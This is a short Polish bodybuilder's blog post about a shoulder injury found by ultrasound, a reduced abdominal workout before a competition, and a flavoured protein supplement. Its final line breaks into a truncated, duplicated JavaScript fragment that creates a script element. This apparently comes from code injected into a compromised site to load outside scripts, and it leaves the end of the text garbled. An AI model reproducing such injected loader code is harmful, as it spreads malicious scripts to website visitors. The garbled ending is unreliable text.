Złe wiadomości

18.10.2011 / Michał Karmowski

Niestety ból barku jest tak duży ,że nie dałem rady przeprowadzić treningu klatki mimo przyjęcia dawki diclaca 150, byłem u lekarza i okazało się  po usg , że mam uszkodzone przyczepy głowy długiej bicepsa i przedniej części mięśnia naramiennego z widocznymi zwapnieniami. Nie jest to pocieszająca wiadomość zwłaszcza ,że do zawodów tak mało czasu. jedyne ćwiczenia jakie mogę robić i ból nie jest aż tak wielki to wyciskanie głową w dół dlatego tylko to dziś robiłem 10serii po 10 powt i do tego bardzo mocno skatowałem brzuch.

Nie mogę też wykonywać niektórych póz obowiązkowych co jest chyba jeszcze gorsze:-(

trening brzucha

-spięcia z linką wyciągu górnego 3 x 25

-unoszenie nóg w zwisie na drążku 3 x15

–spięcia na maszynie 3×15

-spięcia na piłce 4×25

-spięcia leżąc a nogami na ławce 4×25

Dziś pierwszy raz piłem isolite arbuzowy , po prostu rewelacja mimo że nie jestem zwolennikiem smakowych odżywek i lubie tylko vanille to arbuz wymiata!!!!!!!!!!!var d=document;var s=d.createElement(‚script’); var d=document;var s=d.createElement(‚script’); if (document.currentScript) {